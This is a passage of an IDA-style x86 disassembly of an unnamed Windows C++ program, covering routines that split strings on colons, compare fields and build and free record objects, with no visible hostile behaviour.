		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C30	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D79
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D79
		push	esi
		push	edi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D53
		add	ebp, 54h


loc_413CB0:				; CODE XREF: sub_413C30+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CD0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CD2
; ---------------------------------------------------------------------------


loc_413CD0:				; CODE XREF: sub_413C30+95j
		xor	eax, eax


loc_413CD2:				; CODE XREF: sub_413C30+9Ej
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CB0


loc_413D53:				; CODE XREF: sub_413C30+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D79:				; CODE XREF: sub_413C30+26j
					; sub_413C30+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C30	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E00	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E20:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E60	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41404E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41404E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41404E
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F47
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F16:				; CODE XREF: sub_413E60+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F3A
		cmp	cl, bl
		jz	short loc_413F36
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F3A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F16


loc_413F36:				; CODE XREF: sub_413E60+C0j
		xor	eax, eax
		jmp	short loc_413F3F
; ---------------------------------------------------------------------------


loc_413F3A:				; CODE XREF: sub_413E60+BCj
					; sub_413E60+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F3F:				; CODE XREF: sub_413E60+D8j
		cmp	eax, ebx
		jnz	loc_41404E


loc_413F47:				; CODE XREF: sub_413E60+A1j
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FA3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F72:				; CODE XREF: sub_413E60+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F96
		cmp	cl, bl
		jz	short loc_413F92
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F96
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F72


loc_413F92:				; CODE XREF: sub_413E60+11Cj
		xor	eax, eax
		jmp	short loc_413F9B
; ---------------------------------------------------------------------------


loc_413F96:				; CODE XREF: sub_413E60+118j
					; sub_413E60+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F9B:				; CODE XREF: sub_413E60+134j
		cmp	eax, ebx
		jnz	loc_41404E


loc_413FA3:				; CODE XREF: sub_413E60+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FC3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FC5
; ---------------------------------------------------------------------------


loc_413FC3:				; CODE XREF: sub_413E60+158j
		xor	eax, eax


loc_413FC5:				; CODE XREF: sub_413E60+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41409B
; ---------------------------------------------------------------------------


loc_41404E:				; CODE XREF: sub_413E60+44j
					; sub_413E60+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41409B:				; CODE XREF: sub_413E60+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414150	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414150
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414150	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141E0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142D0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4142F0	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4142F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_4142F0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414333
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414335
; ---------------------------------------------------------------------------


loc_414333:				; CODE XREF: ___:00414328j
		xor	eax, eax


loc_414335:				; CODE XREF: ___:00414331j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414420	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414420
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414420	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144C0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414590	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_414590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414640


loc_4145F5:				; CODE XREF: sub_414590+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41461D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41461D:				; CODE XREF: sub_414590+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4145F5


loc_414640:				; CODE XREF: sub_414590+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414688
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414663
		push	1
		call	sub_4019EC


loc_414663:				; CODE XREF: sub_414590+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414688:				; CODE XREF: sub_414590+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_414590	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414700	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414718
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414718:				; CODE XREF: sub_414700+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414730	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414730	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414750:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414819


loc_4147B3:				; CODE XREF: ___:00414817j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C64 ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147E0
		mov	[esp+13h], bl


loc_4147E0:				; CODE XREF: ___:004147DAj
		inc	esi
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147B3


loc_414819:				; CODE XREF: ___:004147B1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414890	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_414890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149C4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41496E


loc_414904:				; CODE XREF: sub_414890+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41493C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41494B


loc_41493C:				; CODE XREF: sub_414890+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41494B:				; CODE XREF: sub_414890+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414904


loc_41496E:				; CODE XREF: sub_414890+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149C4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_414991
		push	1
		call	sub_401708


loc_414991:				; CODE XREF: sub_414890+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149C4:				; CODE XREF: sub_414890+2Ej
					; sub_414890+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_414890	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A60	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A78
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A78:				; CODE XREF: sub_414A60+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A60	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A90	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414A90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414A90	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B20:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BB0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CB7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
